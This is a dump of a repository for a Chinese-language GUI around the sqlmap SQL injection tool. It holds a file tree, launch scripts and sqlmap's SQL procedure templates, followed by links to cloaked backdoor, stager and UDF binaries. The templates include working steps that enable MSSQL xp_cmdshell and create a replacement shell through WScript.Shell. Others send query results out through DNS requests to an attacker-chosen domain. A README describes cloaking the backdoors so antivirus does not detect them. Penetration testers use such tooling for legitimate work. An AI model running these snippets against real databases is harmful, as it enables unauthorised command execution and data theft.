├── techniques │ │ ├── __init__.py │ │ ├── blind │ │ │ ├── __init__.py │ │ │ └── inference.py │ │ ├── dns │ │ │ ├── __init__.py │ │ │ ├── test.py │ │ │ └── use.py │ │ ├── error │ │ │ ├── __init__.py │ │ │ └── use.py │ │ └── union │ │ │ ├── __init__.py │ │ │ ├── test.py │ │ │ └── use.py │ └── utils │ │ ├── __init__.py │ │ ├── api.py │ │ ├── brute.py │ │ ├── crawler.py │ │ ├── deps.py │ │ ├── getch.py │ │ ├── har.py │ │ ├── hash.py │ │ ├── hashdb.py │ │ ├── httpd.py │ │ ├── pivotdumptable.py │ │ ├── progress.py │ │ ├── purge.py │ │ ├── safe2bin.py │ │ ├── search.py │ │ ├── sgmllib.py │ │ ├── sqlalchemy.py │ │ ├── timeout.py │ │ ├── versioncheck.py │ │ └── xrange.py ├── plugins │ ├── __init__.py │ ├── dbms │ │ ├── __init__.py │ │ ├── access │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── altibase │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cache │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── clickhouse │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cratedb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cubrid │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── db2 │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── derby │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── extremedb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── firebird │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── frontbase │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── h2 │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── hsqldb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── informix │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── maxdb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mckoi │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mimersql │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── monetdb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mssqlserver │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mysql │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── oracle │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── postgresql │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── presto │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── raima │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── sqlite │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── sybase │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── vertica │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ └── virtuoso │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ └── generic │ │ ├── __init__.py │ │ ├── connector.py │ │ ├── custom.py │ │ ├── databases.py │ │ ├── entries.py │ │ ├── enumeration.py │ │ ├── filesystem.py │ │ ├── fingerprint.py │ │ ├── misc.py │ │ ├── search.py │ │ ├── syntax.py │ │ ├── takeover.py │ │ └── users.py ├── sqlmap.conf ├── sqlmap.py ├── sqlmapapi.py ├── sqlmapapi.yaml ├── tamper │ ├── 0eunion.py │ ├── __init__.py │ ├── apostrophemask.py │ ├── apostrophenullencode.py │ ├── appendnullbyte.py │ ├── base64encode.py │ ├── between.py │ ├── binary.py │ ├── bluecoat.py │ ├── chardoubleencode.py │ ├── charencode.py │ ├── charunicodeencode.py │ ├── charunicodeescape.py │ ├── commalesslimit.py │ ├── commalessmid.py │ ├── commentbeforeparentheses.py │ ├── concat2concatws.py │ ├── decentities.py │ ├── dunion.py │ ├── equaltolike.py │ ├── equaltorlike.py │ ├── escapequotes.py │ ├── greatest.py │ ├── halfversionedmorekeywords.py │ ├── hex2char.py │ ├── hexentities.py │ ├── htmlencode.py │ ├── if2case.py │ ├── ifnull2casewhenisnull.py │ ├── ifnull2ifisnull.py │ ├── informationschemacomment.py │ ├── least.py │ ├── lowercase.py │ ├── luanginx.py │ ├── misunion.py │ ├── modsecurityversioned.py │ ├── modsecurityzeroversioned.py │ ├── multiplespaces.py │ ├── ord2ascii.py │ ├── overlongutf8.py │ ├── overlongutf8more.py │ ├── percentage.py │ ├── plus2concat.py │ ├── plus2fnconcat.py │ ├── randomcase.py │ ├── randomcomments.py │ ├── schemasplit.py │ ├── scientific.py │ ├── sleep2getlock.py │ ├── sp_password.py │ ├── space2comment.py │ ├── space2dash.py │ ├── space2hash.py │ ├── space2morecomment.py │ ├── space2morehash.py │ ├── space2mssqlblank.py │ ├── space2mssqlhash.py │ ├── space2mysqlblank.py │ ├── space2mysqldash.py │ ├── space2plus.py │ ├── space2randomblank.py │ ├── substring2leftright.py │ ├── symboliclogical.py │ ├── unionalltounion.py │ ├── unmagicquotes.py │ ├── uppercase.py │ ├── varnish.py │ ├── versionedkeywords.py │ ├── versionedmorekeywords.py │ └── xforwardedfor.py └── thirdparty │ ├── __init__.py │ ├── ansistrm │ ├── __init__.py │ └── ansistrm.py │ ├── beautifulsoup │ ├── __init__.py │ └── beautifulsoup.py │ ├── bottle │ ├── __init__.py │ └── bottle.py │ ├── chardet │ ├── __init__.py │ ├── big5freq.py │ ├── big5prober.py │ ├── chardistribution.py │ ├── charsetgroupprober.py │ ├── charsetprober.py │ ├── codingstatemachine.py │ ├── compat.py │ ├── cp949prober.py │ ├── enums.py │ ├── escprober.py │ ├── escsm.py │ ├── eucjpprober.py │ ├── euckrfreq.py │ ├── euckrprober.py │ ├── euctwfreq.py │ ├── euctwprober.py │ ├── gb2312freq.py │ ├── gb2312prober.py │ ├── hebrewprober.py │ ├── jisfreq.py │ ├── jpcntx.py │ ├── langbulgarianmodel.py │ ├── langcyrillicmodel.py │ ├── langgreekmodel.py │ ├── langhebrewmodel.py │ ├── langhungarianmodel.py │ ├── langthaimodel.py │ ├── langturkishmodel.py │ ├── latin1prober.py │ ├── mbcharsetprober.py │ ├── mbcsgroupprober.py │ ├── mbcssm.py │ ├── sbcharsetprober.py │ ├── sbcsgroupprober.py │ ├── sjisprober.py │ ├── universaldetector.py │ ├── utf8prober.py │ └── version.py │ ├── clientform │ ├── __init__.py │ └── clientform.py │ ├── colorama │ ├── __init__.py │ ├── ansi.py │ ├── ansitowin32.py │ ├── initialise.py │ ├── win32.py │ └── winterm.py │ ├── fcrypt │ ├── __init__.py │ └── fcrypt.py │ ├── identywaf │ ├── LICENSE │ ├── __init__.py │ ├── data.json │ └── identYwaf.py │ ├── keepalive │ ├── __init__.py │ └── keepalive.py │ ├── magic │ ├── __init__.py │ └── magic.py │ ├── multipart │ ├── __init__.py │ └── multipartpost.py │ ├── odict │ ├── __init__.py │ └── ordereddict.py │ ├── prettyprint │ ├── __init__.py │ └── prettyprint.py │ ├── pydes │ ├── __init__.py │ └── pyDes.py │ ├── six │ └── __init__.py │ ├── socks │ ├── LICENSE │ ├── __init__.py │ └── socks.py │ ├── termcolor │ ├── __init__.py │ └── termcolor.py │ └── wininetpton │ ├── __init__.py │ └── win_inet_pton.py ├── LICENSE └── README.md /GUI-CN/.gitattributes: -------------------------------------------------------------------------------- 1 | *.conf text eol=lf 2 | *.md text eol=lf 3 | *.md5 text eol=lf 4 | *.py text eol=lf 5 | *.xml text eol=lf 6 | LICENSE text eol=lf 7 | COMMITMENT text eol=lf 8 | 9 | *_ binary 10 | *.dll binary 11 | *.pdf binary 12 | *.so binary 13 | *.wav binary 14 | *.zip binary 15 | *.x32 binary 16 | *.x64 binary 17 | *.exe binary 18 | *.sln binary 19 | *.vcproj binary 20 | -------------------------------------------------------------------------------- /GUI-CN/.gitignore: -------------------------------------------------------------------------------- 1 | output/ 2 | __pycache__/ 3 | *.py[cod] 4 | .sqlmap_history 5 | traffic.txt 6 | *~ 7 | req*.txt 8 | .idea/ -------------------------------------------------------------------------------- /GUI-CN/Windows双击启动图形化-py3.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | start /B pythonw3 .\gui_win_py3.py 3 | -------------------------------------------------------------------------------- /GUI-CN/Windows双击启动图形化.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | start /B pythonw .\gui_win.py 3 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/README.txt: -------------------------------------------------------------------------------- 1 | Files in this folder represent SQL snippets used by sqlmap on the target 2 | system. 3 | They are licensed under the terms of the GNU Lesser General Public License 4 | where not specified otherwise. 5 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/activate_sp_oacreate.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_configure 'show advanced options',1; 2 | RECONFIGURE WITH OVERRIDE; 3 | EXEC master..sp_configure 'ole automation procedures',1; 4 | RECONFIGURE WITH OVERRIDE 5 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/configure_openrowset.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_configure 'show advanced options', 1; 2 | RECONFIGURE WITH OVERRIDE; 3 | EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; 4 | RECONFIGURE WITH OVERRIDE; 5 | EXEC sp_configure 'show advanced options', 0; 6 | RECONFIGURE WITH OVERRIDE 7 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/configure_xp_cmdshell.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_configure 'show advanced options',1; 2 | RECONFIGURE WITH OVERRIDE; 3 | EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; 4 | RECONFIGURE WITH OVERRIDE; 5 | EXEC master..sp_configure 'show advanced options',0; 6 | RECONFIGURE WITH OVERRIDE 7 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/create_new_xp_cmdshell.sql: -------------------------------------------------------------------------------- 1 | DECLARE @%RANDSTR% nvarchar(999); 2 | set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; 3 | EXEC master..sp_executesql @%RANDSTR% 4 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_dropextendedproc 'xp_cmdshell' 2 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/dns_request.sql: -------------------------------------------------------------------------------- 1 | DECLARE @host varchar(1024); 2 | SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; 3 | EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') 4 | # or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') 5 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll' 2 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mssqlserver/run_statement_as_user.sql: -------------------------------------------------------------------------------- 1 | SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%') 2 | # SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%') 3 | # SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%') 4 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mysql/dns_request.sql: -------------------------------------------------------------------------------- 1 | SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%')) 2 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/mysql/write_file_limit.sql: -------------------------------------------------------------------------------- 1 | LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - 2 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/oracle/dns_request.sql: -------------------------------------------------------------------------------- 1 | SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL 2 | # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL 3 | # or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual 4 | -------------------------------------------------------------------------------- /GUI-CN/data/procs/postgresql/dns_request.sql: -------------------------------------------------------------------------------- 1 | DROP TABLE IF EXISTS %RANDSTR1%; 2 | # https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required 3 | CREATE TABLE %RANDSTR1%(%RANDSTR2% text); 4 | CREATE OR REPLACE FUNCTION %RANDSTR3%() 5 | RETURNS VOID AS $$ 6 | DECLARE %RANDSTR4% TEXT; 7 | DECLARE %RANDSTR5% TEXT; 8 | BEGIN 9 | SELECT INTO %RANDSTR5% (%QUERY%); 10 | %RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\''; 11 | EXECUTE %RANDSTR4%; 12 | END; 13 | $$ LANGUAGE plpgsql SECURITY DEFINER; 14 | SELECT %RANDSTR3%(); -------------------------------------------------------------------------------- /GUI-CN/data/shell/README.txt: -------------------------------------------------------------------------------- 1 | Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. 2 | 3 | To prepare the original scripts to the cloaked form use this command: 4 | find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; 5 | 6 | To get back them into the original form use this: 7 | find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; 8 | -------------------------------------------------------------------------------- /GUI-CN/data/shell/backdoors/backdoor.asp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/backdoors/backdoor.asp_ -------------------------------------------------------------------------------- /GUI-CN/data/shell/backdoors/backdoor.aspx_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/backdoors/backdoor.aspx_ -------------------------------------------------------------------------------- /GUI-CN/data/shell/backdoors/backdoor.jsp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/backdoors/backdoor.jsp_ -------------------------------------------------------------------------------- /GUI-CN/data/shell/backdoors/backdoor.php_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/backdoors/backdoor.php_ -------------------------------------------------------------------------------- /GUI-CN/data/shell/stagers/stager.asp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/stagers/stager.asp_ -------------------------------------------------------------------------------- /GUI-CN/data/shell/stagers/stager.aspx_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/stagers/stager.aspx_ -------------------------------------------------------------------------------- /GUI-CN/data/shell/stagers/stager.jsp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/stagers/stager.jsp_ -------------------------------------------------------------------------------- /GUI-CN/data/shell/stagers/stager.php_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/shell/stagers/stager.php_ -------------------------------------------------------------------------------- /GUI-CN/data/txt/wordlist.tx_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/txt/wordlist.tx_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/README.txt: -------------------------------------------------------------------------------- 1 | Binary files in this folder are data files used by sqlmap on the target 2 | system, but not executed on the system running sqlmap. They are licensed 3 | under the terms of the GNU Lesser General Public License and their source 4 | code is available on https://github.com/sqlmapproject/udfhack. 5 | -------------------------------------------------------------------------------- /GUI-CN/data/udf/mysql/linux/32/lib_mysqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/mysql/linux/64/lib_mysqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- 